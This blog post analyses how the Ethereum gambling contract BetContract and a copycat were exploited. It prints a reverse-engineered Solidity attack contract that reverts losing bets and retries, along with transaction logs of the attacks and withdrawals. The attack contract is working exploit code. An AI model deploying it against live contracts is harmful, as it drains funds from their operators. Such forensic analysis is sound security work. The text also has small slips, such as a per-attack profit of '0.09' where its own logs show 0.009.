Can’t win the game? just revert it! part 3

Zhongqiang Chen
16 min readSep 24, 2019

--

The BetContract game

The BetContract game is a decentralized game deployed on the Ethereum blockchain. It is a gambling game in which a player can bet on a number along with bet money, then the game generates three random numbers and uses these random numbers to determine the winner and the amount of money for the award.

The game provides several bet types (and named play Ids in the game): type 1 to type 8. For each bet type, different rules are used to determine the winner and the prize. For instance, in bet type 1 (i.e., play Id = 1), if the summation of the 3 random numbers generated by the game is in range [4, 10] and the number bet by the player is 4, then the player wins a small prize, and the player will win a large prize if the summation of the 3 random numbers is in range [11, 17] and the number bet by the player is 17. If the player bets on any other numbers, he will lose the game.

A player can play with any amount of bet money as long as it is larger than a minimum (it is 1500000000000000 Wei).

The information on the transaction that deployed the BetContract game was shown below.

Transaction Hash: 0xe81bc748f279a3c53df6e87cc8c72b2879c5da5959e62f7c41ed110c6fd4498f
Status: Success
Block: 7482538 1106414 Block Confirmations
Timestamp: 172 days 10 hrs ago (Apr-01-2019 12:18:09 PM +UTC)
From: 0xd2dfe6d4ef4933c436fe6bba81479c0de7089ebd
To: [Contract 0x42595584e6029178d6009077db7a6b68650aa1f0 Created]
Value: 0 Ether ($0.00)
Transaction Fee: 0.01973119992 Ether ($4.25)
Gas Limit: 5,304,086
Gas Used by Transaction: 5,304,086 (100%)
Gas Price: 0.00000000372 Ether (3.72 Gwei)
Nonce Position 41 18
Input Data: (omitted)

The smart contract for the BetContract game was created on Apr-01–2019 12:18:09 PM +UTC and its address begins with 0x4259.

To show that the game is fair and there is no hidden tricks, the creator of the game also published the source code of the game.

As the source code for the BetContract game is big, I only present part of it here. For the complete source code, please go EtherScan.io.

/**
*Submitted for verification at Etherscan.io on 2019-04-01
*/
pragma solidity ^0.4.20;contract BetContract is usingOraclize{
uint maxProfit;//最高奖池
uint maxmoneypercent;
uint public contractBalance;
uint minBet;
uint onoff;//游戏启用或关闭
address private owner;
uint private orderId;
uint private randonce;
event LogNewOraclizeQuery(string description,bytes32 queryId);
event LogNewRandomNumber(string result,bytes32 queryId);
event LogSendBonus(uint id,bytes32 lableId,uint playId,uint content,uint singleMoney,uint mutilple,address user,uint betTime,uint status,uint winMoney);
event LogBet(bytes32 queryId);
mapping (address => bytes32[]) playerLableList;//玩家下注批次
mapping (bytes32 => mapping (uint => uint[7])) betList;//批次,注单映射
mapping (bytes32 => uint) lableCount;//批次,注单数
mapping (bytes32 => uint) lableTime;//批次,投注时间
mapping (bytes32 => uint) lableStatus;//批次,状态 0 未结算,1 已撤单,2 已结算 3 已派奖
mapping (bytes32 => uint[3]) openNumberList;//批次开奖号码映射
mapping (bytes32 => string) openNumberStr;//批次开奖号码映射
mapping (bytes32 => address) lableUser;
function BetContract() public {
owner = msg.sender;
orderId = 0;
onoff=1;
minBet=1500000000000000;//最小金额要比手续费大
maxmoneypercent=80;
contractBalance = this.balance;
maxProfit=(this.balance * maxmoneypercent)/100;
randonce = 0;
}

function doBet(uint[] playid,uint[] betMoney,uint[] betContent,uint mutiply) public payable returns (bytes32) {
require(onoff==1);
require(playid.length > 0);
require(mutiply > 0);
require(msg.value >= minBet);
bytes32 queryId;
queryId = keccak256(block.blockhash(block.number-1),now,randonce);
uint[7] tmp ;
uint totalspand = 0;
for(uint i=0;i<playid.length;i++){
orderId++;
tmp[0] =orderId;
tmp[1] =playid[i];
tmp[2] =betContent[i];
tmp[3] =betMoney[i]*mutiply;
totalspand +=betMoney[i]*mutiply;
tmp[4] =now;
tmp[5] =0;
tmp[6] =0;
betList[queryId][i] =tmp;
}
require(msg.value >= totalspand);
lableTime[queryId] = now;
lableCount[queryId] = playid.length;
lableUser[queryId] = msg.sender;
uint[3] memory codes = [uint(0),0,0];//开奖号码
openNumberList[queryId] = codes;
openNumberStr[queryId] ="0,0,0";
lableStatus[queryId] = 0;
uint index=playerLableList[msg.sender].length++;
playerLableList[msg.sender][index]=queryId;//index:id
LogBet(queryId);
opencode(queryId);
return queryId;
}
function opencode(bytes32 queryId) private {
if (lableCount[queryId] < 1) revert();
uint[3] memory codes = [uint(0),0,0];//开奖号码
bytes32 code0hash = keccak256(abi.encodePacked(block.blockhash(block.number-1), now,msg.sender,randonce));
randonce = randonce + uint(code0hash)%10;
uint code0int = uint(code0hash) % 6 + 1;
bytes32 code1hash = keccak256(abi.encodePacked(block.blockhash(block.number-1), now,msg.sender,randonce));
randonce = randonce + uint(code1hash)%10;
uint code1int = uint(code1hash) % 6 + 1;
bytes32 code2hash = keccak256(abi.encodePacked(block.blockhash(block.number-1), now,msg.sender,randonce));
randonce = randonce + uint(code2hash)%10;
uint code2int = uint(code2hash) % 6 + 1;
var code0=uintToString(code0int);
var code1=uintToString(code1int);
var code2=uintToString(code2int);
codes[0] = code0int;
codes[1] = code1int;
codes[2] = code2int;
openNumberList[queryId] = codes;
openNumberStr[queryId] = strConcat(code0,",",code1,",",code2);
//结算,派奖
doCheckBounds(queryId);
}

//中奖判断
function checkWinMoney(uint[7] storage betinfo,uint[3] codes) internal {
uint rates;
if(betinfo[1] ==1){
//大小 豹子不中奖
if(codes[0] == codes[1] && codes[1] == codes[2]){
betinfo[5]=1;//未中奖
}else{
uint sum = codes[0]+codes[1]+codes[2];
if(sum >= 4 && sum < 11){
sum = 4;//小
}else if(sum >= 11 && sum < 18){
sum = 17;//大
}else{
sum = 0;
}
betinfo[5]=1;
if(sum >0 && betinfo[2] == sum){
betinfo[5]=2;
rates = getPlayRate(betinfo[1],0);
betinfo[6]=betinfo[3]*rates/10;
}
}
}
}
function doCheckBounds(bytes32 queryId) internal{
uint sta = lableStatus[queryId];
require(sta == 0 || sta == 2);
uint[3] memory codes = openNumberList[queryId];
require(codes[0] > 0);
//结算
uint len = lableCount[queryId];
uint totalWin;
address to = lableUser[queryId];
for(uint aa = 0 ; aa<len; aa++){
//未结算
if(sta == 0){
if(betList[queryId][aa][5] == 0){
checkWinMoney(betList[queryId][aa],codes);
totalWin+=betList[queryId][aa][6];
}
}else if(sta == 2){
totalWin+=betList[queryId][aa][6];
}
}
lableStatus[queryId] = 2;
//派奖
if(totalWin > 0){
if(totalWin < this.balance){
to.transfer(totalWin);//转账
lableStatus[queryId] = 3;
}else{
LogNewOraclizeQuery("sent bouns fail.",queryId);
}
}else{
lableStatus[queryId] = 3;
}
contractBalance=this.balance;
maxProfit=(this.balance * maxmoneypercent)/100;
}
}

In order to play the game, a player needs only to call the function doBet() with appropriate parameters. The parameters to the function doBet() mainly specify the bet types, amount of bet money, and the numbers to bet on by the player.

Multiple bet types can be played within a single call to the function doBet() because the parameters to the function are dynamic arrays that can hold as many bets the caller may put.

Please note that it is within the function checkWinMoney() where the winner and amount of prize are determined. For demonstration purpose, I only present the case for play id = 1. For other bet types, please refer to the original source code of the game available on EtherScan.io.

It can be seen that for play id =1, the only possible numbers that could win the game are 4 and 17.

The 3 random numbers are generated in function opencode() and the sources for the random numbers are block hash of previous block, creation time of current block, and the address of the player. Additionally, a seed is also used when computing the hash code.

Generally speaking, in order to attack a game, the attacker should predict the random numbers generated by the game so that the attacker can ensure to win the game when he plays the game. To do so, the attack must mimic the behavior of the game, especially those parts related to random number generation and the logic to determine winner and prize amount. This could require a lot of work and programming skills.

Instead of this, a much simpler attack strategy can be employed: simply repeatedly play the game and if the game is lost, just revert it and started another game until the game is won.

As expected, the BetContract game is also exploited by attackers with such a simple attack strategy. One attack tool that implements such a simple attack strategy will be described next.

Exploiting the game by using a smart contract

The attack tool that exploit the BetContract game is developed as a smart contract and is deployed on the Ethereum blockchain. The information on the deployment of the smart contract exploiting the BetContract game is given below.

Transaction Hash: 0xf5d4b851963ef9e235128faa938d138d5bd3ae7449a23967c2821370a98442ad
Status: Success
Block: 7585453 1003180 Block Confirmations
Timestamp: 156 days 8 hrs ago (Apr-17-2019 01:08:19 PM +UTC)
From: 0xd1e88e048fc8f8ba954f1dbb260c811c0793c67b
To: [Contract 0x9a4812dae100c5f266dacb3c106bc2b8b7a3f111 Created]
Value: 0 Ether ($0.00)
Transaction Fee: 0.002524131 Ether ($0.54)
Gas Limit: 841,377
Gas Used by Transaction: 841,377 (100%)
Gas Price: 0.000000003 Ether (3 Gwei)
Nonce Position 108 161
Input Data: (omitted)

The creation time of the attack contract was Apr-17–2019 01:08:19 PM +UTC, which was about two weeks after the publish of the BetContract game. The deployer was 0xd1e8.

The source code for the smart contract that is designed to exploit the BetContract game was not published by its creator. We resort to the reverse engineering techniques to recover it. The source code for the attack tool is depicted as follows.

pragma solidity ^0.5.1;/*
parameters to constructor:
00000000000000000000000052b973b219c70dc06bdac782f917de787b4b0fbf
*/

contract contract_9a48 {
// slot 0x00
address payable owner;
// slot 0x01
address target;
// slot 0x02
// 0x2386f26fc10000 = 1e+16
uint256 betVal = 0.01 ether;
// slot 0x03
uint256 playId = 1;
// slot 0x04
uint256 betContent1 = 4;
// slot 0x05
uint256 betContent2 = 17;

modifier onlyOwner () {
require(msg.sender == owner);
_;
}

constructor (address _addr) public {
owner = msg.sender;
target = _addr;
}

// function selector: 0x11610c25
// code entrance: 0x0085
function bet() public payable {
// function playGame(uint256 _val)
// selector: 0x3d18fb54
(bool success,) = address(this).call(abi.encodeWithSelector(
0x3d18fb54, betContent1));
if (!success) {
address(this).call(abi.encodeWithSelector(
0x3d18fb54, betContent2));
}
}

// function selector: 0x1521249a
// code entrance: 0x008f
function setBetVal(uint256 _val) public onlyOwner {
betVal = _val;
}

// function selector: 0x35f46994
// code entrance: 0x00bc
function die() public onlyOwner {
selfdestruct(owner);
}

// function selector: 0x3ccfd60b
// code entrance: 0x00d3
function withdraw() public onlyOwner {
owner.transfer(address(this).balance);
}

// function selector: 0x3d18fb54
// code entrance: 0x00ea
function playGame(uint256 _val) public payable {
uint256 oldBalance = address(this).balance;
uint256[] memory playid = new uint256[](1);
playid[0] = playId;
uint256[] memory betMoney = new uint256[](1);
betMoney[0] = betVal;
uint256[] memory betContent = new uint256[](1);
betContent[0] = _val;
// function: doBet(uint256[],uint256[],uint256[],uint256)
// function selector: 0xfc223410
uint256 multiply = 1;
(bool success,) = target.call.value(betVal)(
abi.encodeWithSelector(0xfc223410,
playid,
betMoney,
betContent,
multiply
));
if (!success) {
revert();
}
require (address(this).balance > oldBalance);
}

// function selector: 0x677bd22f
// code entrance: 0x010a
function setParams(uint256 _playId, uint256 _betContent1,
uint256 _betContent2) public onlyOwner {
playId = _playId;
betContent1 = _betContent1;
betContent2 = _betContent2;
}

// function selector: 0xbf2fdf96
// code entrance: 0x014b
function setTarget(address _addr) public onlyOwner {
target = _addr;
}
}

In this source code, the address of the target is not hard code, instead, the attack target is configurable and it can be set in two ways: a) as parameter to the constructor of the smart contract, and b) via the function setTarget(), which has selector 0xbf2fdf96.

The main entry point for attacks is the function bet(), which plays the BetContract game at most twice: the first play uses “betContent1” (which bets on number 4) as the bet content while the second play uses “betContent2” (which bets on number 17) as the bet content. If the first play can win the game, then the second game will not be played.

The game is played in the function playGame(), which simply calls the function deBet() in the BetContract game with the appropriate parameters. It can be seen that the attack tool only plays bet type 1 (that is, play Id = 1).

It is interesting that there is no access control on the execution of function bet(), meaning that everyone can call the function to play the games. Of course, the profits gained by playing the games, if any, are stored in the attack contract, and only the owner of the attack contract can retrieve the profits with the function withdraw(). Therefore, the attack contract is still under the control of its creator.

The effect of exploiting the BetContract game

Before launching attacks against this copycat, the attacker needs to point his attack contract to this new target by calling the function setTarget() in the attack contract, as shown in the following transaction.

Transaction Hash: 0x50edd3fbbb662e5fc6d23867abd299cfc89e4c0db92b378afa4b17705ae6b5e2
Status: Success
Block: 7675089 913811 Block Confirmations
Timestamp: 142 days 10 hrs ago (May-01-2019 12:11:58 PM +UTC)
From: 0xd1e88e048fc8f8ba954f1dbb260c811c0793c67b
To: Contract 0x9a4812dae100c5f266dacb3c106bc2b8b7a3f111
Value: 0 Ether ($0.00)
Transaction Fee: 0.0000598248 Ether ($0.01)
Gas Limit: 28,488
Gas Used by Transaction: 28,488 (100%)
Gas Price: 0.0000000021 Ether (2.1 Gwei)
Nonce Position 138 76
Input Data:
0xbf2fdf96
00000000000000000000000042595584e6029178d6009077db7a6b68650aa1f0

The transaction set the target of the exploitation to be 0x4259, which is exactly the address of the smart contract for the BetContract game. As the function setTarget() with selector 0xbf2fdf96 can only be called by the owner of the attack contract, it can be seen that the sender of this transaction is the same as the creator of the attack contract.

After that, the attacks can begin.

Here is the transaction that launches the first attack.

Transaction Hash: 0xa91c73a25ac7c5514cc8520798c9c755042df6ee8847a25968d502eaafb144dd
Status: Success
Block: 7675093 913799 Block Confirmations
Timestamp: 142 days 10 hrs ago (May-01-2019 12:12:21 PM +UTC)
From: 0xd1e88e048fc8f8ba954f1dbb260c811c0793c67b
To: Contract 0x9a4812dae100c5f266dacb3c106bc2b8b7a3f111
TRANSFER 0.01 Ether From 0x9a4812dae100c5f266dacb3c106bc2b8b7a3f111 To 0x42595584e6029178d6009077db7a6b68650aa1f0Value: 0 Ether ($0.00)
Transaction Fee: 0.0010993752 Ether ($0.24)
Gas Limit: 1,227,820
Gas Used by Transaction: 523,512 (42.64%)
Gas Price: 0.0000000021 Ether (2.1 Gwei)
Nonce Position 139 56
Input Data:
Function: bet() ***
MethodID: 0x11610c25

Although there is no access control on the function bet() in the attack contract, so every one can call it, but this attack is indeed launched by the creator of the attack tool.

The result of this transaction shows no error, so we can infer that the attack won the game right after playing the game with “betContent1”, there is no need to try “betContent2”.

That also means this transaction should generate less internal transactions as it only played the BetContract game once. So, the gas consumption should be low. In this case, the gas consumption is 42.64% of the gas limit.

The internal transactions generated by the attack are shown here:

The contract call From 0xd1e88e048fc8f8ba954f1dbb260c811c0793c67b To 0x9a4812dae100c5f266dacb3c106bc2b8b7a3f111 produced 2 contract Internal Transactions :Type Trace Address      From            To      Value   Gas Limitcall_0_0       0x9a4812dae100c5f266dacb3c106bc2b8b7a3f111               0x42595584e6029178d6009077db7a6b68650aa1f0     0.01 Ether      1,156,740call_0_0_0   0x42595584e6029178d6009077db7a6b68650aa1f0              0x9a4812dae100c5f266dacb3c106bc2b8b7a3f111      0.019 Ether     2,300

The state changes:

A set of information that represents the current state is updated when a transaction takes place on the network. The below is a summary of those changes :Address         Before  After   State Difference0x42595584e6029178d6009077db7a6b68650aa1f0              0.03 Eth        0.021 Eth        0.0090x9a4812dae100c5f266dacb3c106bc2b8b7a3f111              0.028 Eth       0.037 Eth        0.0090xd1e88e048fc8f8ba954f1dbb260c811c0793c67b
0.582211967573629131 Eth Nonce: 139
0.581112592373629131 Eth Nonce: 140
0.0010993752
0xea674fdde714fd979de3edf0f56aa9716b898ec8 Miner (Ethermine)
448.48113583356305556 Eth 448.48223520876305556 Eth 0.0010993752

The second attack was launched by the following transaction.

Transaction Hash: 0x5fa3953320f112a378c8bf4cfd24691c74500049edbd42598b3a78d049462a22
Status: Success
Block: 7675099 913803 Block Confirmations
Timestamp: 142 days 10 hrs ago (May-01-2019 12:13:31 PM +UTC)
From: 0xd1e88e048fc8f8ba954f1dbb260c811c0793c67b
To: Contract 0x9a4812dae100c5f266dacb3c106bc2b8b7a3f111
Although one or more Error Occurred [Reverted] Contract Execution Completed
TRANSFER 0.01 Ether From 0x9a4812dae100c5f266dacb3c106bc2b8b7a3f111 To 0x42595584e6029178d6009077db7a6b68650aa1f0Value: 0 Ether ($0.00)
Transaction Fee: 0.0020201454 Ether ($0.44)
Gas Limit: 1,227,820
Gas Used by Transaction: 961,974 (78.35%)
Gas Price: 0.0000000021 Ether (2.1 Gwei)
Nonce Position 140 113
Input Data:
Function: bet() ***
MethodID: 0x11610c25

The result of the transaction indicates some errors occurred during the execution of the transaction. That means the play with “betContent1” failed to win the game, and the game was played again with “betContent2”, which led to a win.

As a result, the games are played and therefore consumed more gas. With the same gas limit as the previous transaction, this transaction consume more gas: 78.35% vs 42.64%.

The internal transactions shown below also indicate that 3 internal transactions are generated. In comparison, only 2 internal transactions were generated in the previous attack.

The contract call From 0xd1e88e048fc8f8ba954f1dbb260c811c0793c67b To 0x9a4812dae100c5f266dacb3c106bc2b8b7a3f111 produced 3 contract Internal Transactions :Type Trace Address      From            To      Value   Gas Limitcall_0_0       0x9a4812dae100c5f266dacb3c106bc2b8b7a3f111               0x42595584e6029178d6009077db7a6b68650aa1f0     0.01 Ether      1,156,740call_1_0       0x9a4812dae100c5f266dacb3c106bc2b8b7a3f111               0x42595584e6029178d6009077db7a6b68650aa1f0     0.01 Ether      717,373call_1_0_0   0x42595584e6029178d6009077db7a6b68650aa1f0              0x9a4812dae100c5f266dacb3c106bc2b8b7a3f111      0.019 Ether     2,300

The internal transaction call_0_0 was created when the game was played with “betContent1” and call_1_0 was created when the game was played with “betContent2”, while call_1_0_0 was generated when the BetContract game sent prize to the attack contract.

It can be observed that the prize is 0.019 Ethers.

The changes in balances of accounts affected by this transaction are shown in the state changes below.

A set of information that represents the current state is updated when a transaction takes place on the network. The below is a summary of those changes :Address         Before  After   State Difference0x42595584e6029178d6009077db7a6b68650aa1f0              0.021 Eth       0.012 Eth        0.0090x9a4812dae100c5f266dacb3c106bc2b8b7a3f111              0.037 Eth       0.046 Eth        0.0090xd1e88e048fc8f8ba954f1dbb260c811c0793c67b
0.581112592373629131 Eth Nonce: 140
0.579092446973629131 Eth Nonce: 141
0.0020201454
0xea674fdde714fd979de3edf0f56aa9716b898ec8 Miner (Ethermine)
439.677577208955634889 Eth 439.679597354355634889 Eth 0.0020201454

Before the attack, the BetContract contract (i.e., 0x4259) has 0.021 Ethers, and it reduces to 0.012 Ethers after the attack. So, the net lost is 0.009 Ethers. On the contrary, the gain by the attack contract (i.e., 0x9a48) is 0.009 Ethers.

The transaction fee, 0.0020201454 Ethers, is paid by the attacker (i.e., 0xd1e8).

At some point, the attacker decided to retrieve all money in the attack contract to his own account.

Transaction Hash: 0x9cd84f770c17e45d75b08c0c8ee2fca4f0dac17083b41547f0d897ad735fe11b
Status: Success
Block: 7675575 913341 Block Confirmations
Timestamp: 142 days 8 hrs ago (May-01-2019 01:55:27 PM +UTC)
From: 0xd1e88e048fc8f8ba954f1dbb260c811c0793c67b
To: Contract 0x9a4812dae100c5f266dacb3c106bc2b8b7a3f111
TRANSFER 0.055 Ether From 0x9a4812dae100c5f266dacb3c106bc2b8b7a3f111 To 0xd1e88e048fc8f8ba954f1dbb260c811c0793c67bValue: 0 Ether ($0.00)
Transaction Fee: 0.000119568 Ether ($0.03)
Gas Limit: 32,147
Gas Used by Transaction: 29,892 (92.99%)
Gas Price: 0.000000004 Ether (4 Gwei)
Nonce Position 142 68
Input Data:
Function: withdraw() ***
MethodID: 0x3ccfd60b

In order to find out the changes in balances of accounts involving in this transaction, let us look at the state changes shown below.

A set of information that represents the current state is updated when a transaction takes place on the network. The below is a summary of those changes :Address         Before  After   State Difference0x829bd824b016326a401d083b33d092293333a830 Miner (F2Pool)
5,521.274258380916916664 Eth 5,521.274377948916916664 Eth 0.000119568
0x9a4812dae100c5f266dacb3c106bc2b8b7a3f111 0.055 Eth 0 Eth 0.0550xd1e88e048fc8f8ba954f1dbb260c811c0793c67b
0.577072301573629131 Eth Nonce: 142
0.631952733573629131 Eth Nonce: 143
0.054880432

The accumulated fund in the attack contract right before this transaction is 0.055 Ethers. Thus, the total gain by attacks is about 0.044 Ethers after subtracting the initial bet money and transaction fees.

The effect of exploiting a BetContract like game

One copycat of the BetContract game was deployed at address 0x52b9 by the following transaction.

Transaction Hash: 0x6d8d1d6040132bedaf2bf319f53c8a9d29c72fbcf6ca35c1a707ebd45663693d
Status: Success
Block: 7545251 1043693 Block Confirmations
Timestamp: 162 days 15 hrs ago (Apr-11-2019 06:48:53 AM +UTC)
From: 0xa732e7665ff54ba63ae40e67fac9f23ecd0b1223
To: [Contract 0x52b973b219c70dc06bdac782f917de787b4b0fbf Created]
Value: 0 Ether ($0.00)
Transaction Fee: 0.016049508 Ether ($3.46)
Gas Limit: 5,349,836
Gas Used by Transaction: 5,349,836 (100%)
Gas Price: 0.000000003 Ether (3 Gwei)
Nonce Position 50 20
Input Data: (omitted)

The source code of this game is not published by its deployer. By comparing its bytecodes with that of BetContract game, we find that this game has almost the same set of functions and most of these functions also perform the same tasks in both games. In addition, the fact that the same attack tool can exploit successfully both game indicates that these two games share not only the same functionalities, but also the same vulnerabilities.

The first attack was launched by the following transaction.

Transaction Hash: 0x424eaf6aaf505b04f643a6a8932856a4b7506aacb7d0020bae10d0422ccf07ed
Status: Success
Block: 7585468 1003275 Block Confirmations
Timestamp: 156 days 8 hrs ago (Apr-17-2019 01:12:55 PM +UTC)
From: 0x006004ffa18e3cf78fa3b50393ec44c1ab89cf6c
To: Contract 0x9a4812dae100c5f266dacb3c106bc2b8b7a3f111
Although one or more Error Occurred [Reverted] Contract Execution Completed
TRANSFER 0.01 Ether From 0x9a4812dae100c5f266dacb3c106bc2b8b7a3f111 To 0x52b973b219c70dc06bdac782f917de787b4b0fbfValue: 0.011 Ether ($2.38)
Transaction Fee: 0.0040672738 Ether ($0.88)
Gas Limit: 1,222,782
Gas Used by Transaction: 992,018 (81.13%)
Gas Price: 0.0000000041 Ether (4.1 Gwei)
Nonce Position 958 176
Input Data:
Function: bet() ***
MethodID: 0x11610c25

Please note that this attack was launched by 0x0060 and it is not the creator of the attack contract, whose address starts with 0xd1e8. It is not clear whether 0x0060 is just another account owned by the creator of the attack contract or is a stranger. Anyway, it is only the owner of the attack contract who can retrieve funds from the attack contract. So, it doesn’t matter who launched the attacks.

The transaction carries 0.011 Ethers, which will be deposited into the attack contract and be used as bet money when playing the BetContract game.

The result of the transaction indicates that one or more error occurred (reverted) during its execution. Let us look at the internal transactions generated by the attack, which were shown below.

The contract call From 0x006004ffa18e3cf78fa3b50393ec44c1ab89cf6c To 0x9a4812dae100c5f266dacb3c106bc2b8b7a3f111 produced 3 contract Internal Transactions :Type Trace Address      From            To      Value   Gas Limitcall_0_0       0x9a4812dae100c5f266dacb3c106bc2b8b7a3f111               0x52b973b219c70dc06bdac782f917de787b4b0fbf     0.01 Ether      1,151,859call_1_0       0x9a4812dae100c5f266dacb3c106bc2b8b7a3f111               0x52b973b219c70dc06bdac782f917de787b4b0fbf     0.01 Ether      697,935call_1_0_0   0x52b973b219c70dc06bdac782f917de787b4b0fbf              0x9a4812dae100c5f266dacb3c106bc2b8b7a3f111      0.019 Ether     2,300

The internal transaction call_0_0 was generated by playing the BetContract game with “betContent1”. The internal transaction call_1_0 was generated by playing the game with “betContent2”, while internal transaction call_1_0_0 was generated by the game to transfer prize to the attacker.

Because the game was also played with “betContent2”, we can infer that the attacker lost the game when playing with “betContent1”. So, the attack contract reverted the internal transaction call_0_0. This is why internal transaction call_0_0 is marked as “fail”.

It can also be seen that the bet on the game by the attacker is 0.01 Ethers, and the prize is 0.019 Ethers, thus, the net gain by the attacker is 0.019–0.01 = 0.009 Ethers.

The state changes in accounts related to this transaction are shown below:

A set of information that represents the current state is updated when a transaction takes place on the network. The below is a summary of those changes :Address         Before  After   State Difference0x006004ffa18e3cf78fa3b50393ec44c1ab89cf6c
6.487301500807338162 Eth Nonce: 958
6.472234227007338162 Eth Nonce: 959
0.0150672738
0x52b973b219c70dc06bdac782f917de787b4b0fbf 0.163 Eth 0.154 Eth 0.0090x52bc44d5378309ee2abf1539bf71de1b7d7be3b5 Miner (Nanopool)
7,770.300148377461816145 Eth 7,770.304215651261816145 Eth 0.0040672738
0x9a4812dae100c5f266dacb3c106bc2b8b7a3f111 0 Eth 0.02 Eth 0.02

Based on this information, we know that before the attack, the BetContract contract (i.e., 0x52b9) has a balance of 0.163 Ethers, and it becomes 0.154 Ethers after the attacker. Therefore, the loss of the BetContract game is 0.009 Ethers. In comparison, the balance in the attack contract (i.e., 0x9a48) changes from 0 to 0.02 Ethers. Among the 0.02 Ethers, 0.011 Ethers are provided by the attacker and 0.009 Ethers are the prize gained by playing the game.

It can also be seen that the transaction fee is 0.0040672738 Ethers, which is much less than the gain by wining the game.

The net profit by this attack is 0.009 Ethers, which is the same as that obtained by attacking the BetContract game. This means that the copycat did not change the payback rate of the game when it copied the BetContract game.

Then the attacker launched the second attack with the following transaction.

Transaction Hash: 0x3bde9d76ba66711d7ae34573a30fdb8821f8b3b1e36eed59e1fe75cb4b7bde71
Status: Success
Block: 7585476 1003278 Block Confirmations
Timestamp: 156 days 8 hrs ago (Apr-17-2019 01:13:52 PM +UTC)
From: 0x006004ffa18e3cf78fa3b50393ec44c1ab89cf6c
To: Contract 0x9a4812dae100c5f266dacb3c106bc2b8b7a3f111
TRANSFER 0.01 Ether From 0x9a4812dae100c5f266dacb3c106bc2b8b7a3f111 To 0x52b973b219c70dc06bdac782f917de787b4b0fbfValue: 0 Ether ($0.00)
Transaction Fee: 0.001525602 Ether ($0.33)
Gas Limit: 1,222,782
Gas Used by Transaction: 508,534 (41.59%)
Gas Price: 0.000000003 Ether (3 Gwei)
Nonce Position 959 193
Input Data:
Function: bet() ***
MethodID: 0x11610c25

Again, the launcher of the attack is still 0x0060. One difference between this attack and the previous attack is that: this transaction did not carry any Ethers. In that case, the bet money for playing the game will come from the attack contract.

The result of this transaction indicates no error. So, we can anticipate that this attack won the game when playing with “betContent1”. To verify this, let us look at the internal transactions generated by this attack.

The contract call From 0x006004ffa18e3cf78fa3b50393ec44c1ab89cf6c To 0x9a4812dae100c5f266dacb3c106bc2b8b7a3f111 produced 2 contract Internal Transactions :Type Trace Address      From            To      Value   Gas Limitcall_0_0       0x9a4812dae100c5f266dacb3c106bc2b8b7a3f111               0x52b973b219c70dc06bdac782f917de787b4b0fbf     0.01 Ether      1,151,859call_0_0_0   0x52b973b219c70dc06bdac782f917de787b4b0fbf              0x9a4812dae100c5f266dacb3c106bc2b8b7a3f111      0.019 Ether     2,300

Sure enough, there are only two internal transactions this time instead of 3 as in the previous attack. The internal transaction call_0_0 was generated when the BetContract game was played with “betContent1” and internal transaction call_0_0_0 was created for transferring award, which is 0.019 Ethers, from the BetContract game to the attack contract.

To find out the balances of accounts involving in this transaction, we check the state changes displayed below.

A set of information that represents the current state is updated when a transaction takes place on the network. The below is a summary of those changes :Address         Before  After   State Difference0x006004ffa18e3cf78fa3b50393ec44c1ab89cf6c
6.472234227007338162 Eth Nonce: 959
6.470708625007338162 Eth Nonce: 960
0.001525602
0x52b973b219c70dc06bdac782f917de787b4b0fbf 0.154 Eth 0.145 Eth 0.0090x829bd824b016326a401d083b33d092293333a830 Miner (F2Pool)
4,652.884790802715843968 Eth 4,652.886316404715843968 Eth 0.001525602
0x9a4812dae100c5f266dacb3c106bc2b8b7a3f111 0.02 Eth 0.029 Eth 0.009

After this attack, the BetContract contract (i.e., 0x52b9) lost another 0.009 Ethers. In contrast, the attack contract (i.e., 0x9a48) gained another 0.009 Ethers.

As usual, the attacker (i.e., 0x0060) paid the transaction fee to the miner.

At the middle of the attack sequence, the attacker decided to extract all money in the attack contract by calling the function withdraw() as shown in the following transaction.

Transaction Hash: 0xdd879c46ea0898d796737d2e85b571761ffb9457fefe8a58e4960cbcef2dd79f
Status: Success
Block: 7585667 1022285 Block Confirmations
Timestamp: 159 days 7 hrs ago (Apr-17-2019 01:56:00 PM +UTC)
From: 0xd1e88e048fc8f8ba954f1dbb260c811c0793c67b
To: Contract 0x9a4812dae100c5f266dacb3c106bc2b8b7a3f111
TRANSFER 0.193 Ether From 0x9a4812dae100c5f266dacb3c106bc2b8b7a3f111 To 0xd1e88e048fc8f8ba954f1dbb260c811c0793c67bValue: 0 Ether ($0.00)
Transaction Fee: 0.000119568 Ether ($0.02)
Gas Limit: 32,147
Gas Used by Transaction: 29,892 (92.99%)
Gas Price: 0.000000004 Ether (4 Gwei)
Nonce Position 120 167
Input Data:
Function: withdraw() ***
MethodID: 0x3ccfd60b

Please note that the sender of this transaction is 0xd1e8, who is also the deployer of the attack contract and therefore is the owner of the attack contract.

It can be seen that the total money in the attack contract is 0.193 Ethers at this point. As the net profit of every successful attack is about 0.09 Ethers, we can infer that the attacker launched around 10 attacks up to this point.

References

--

--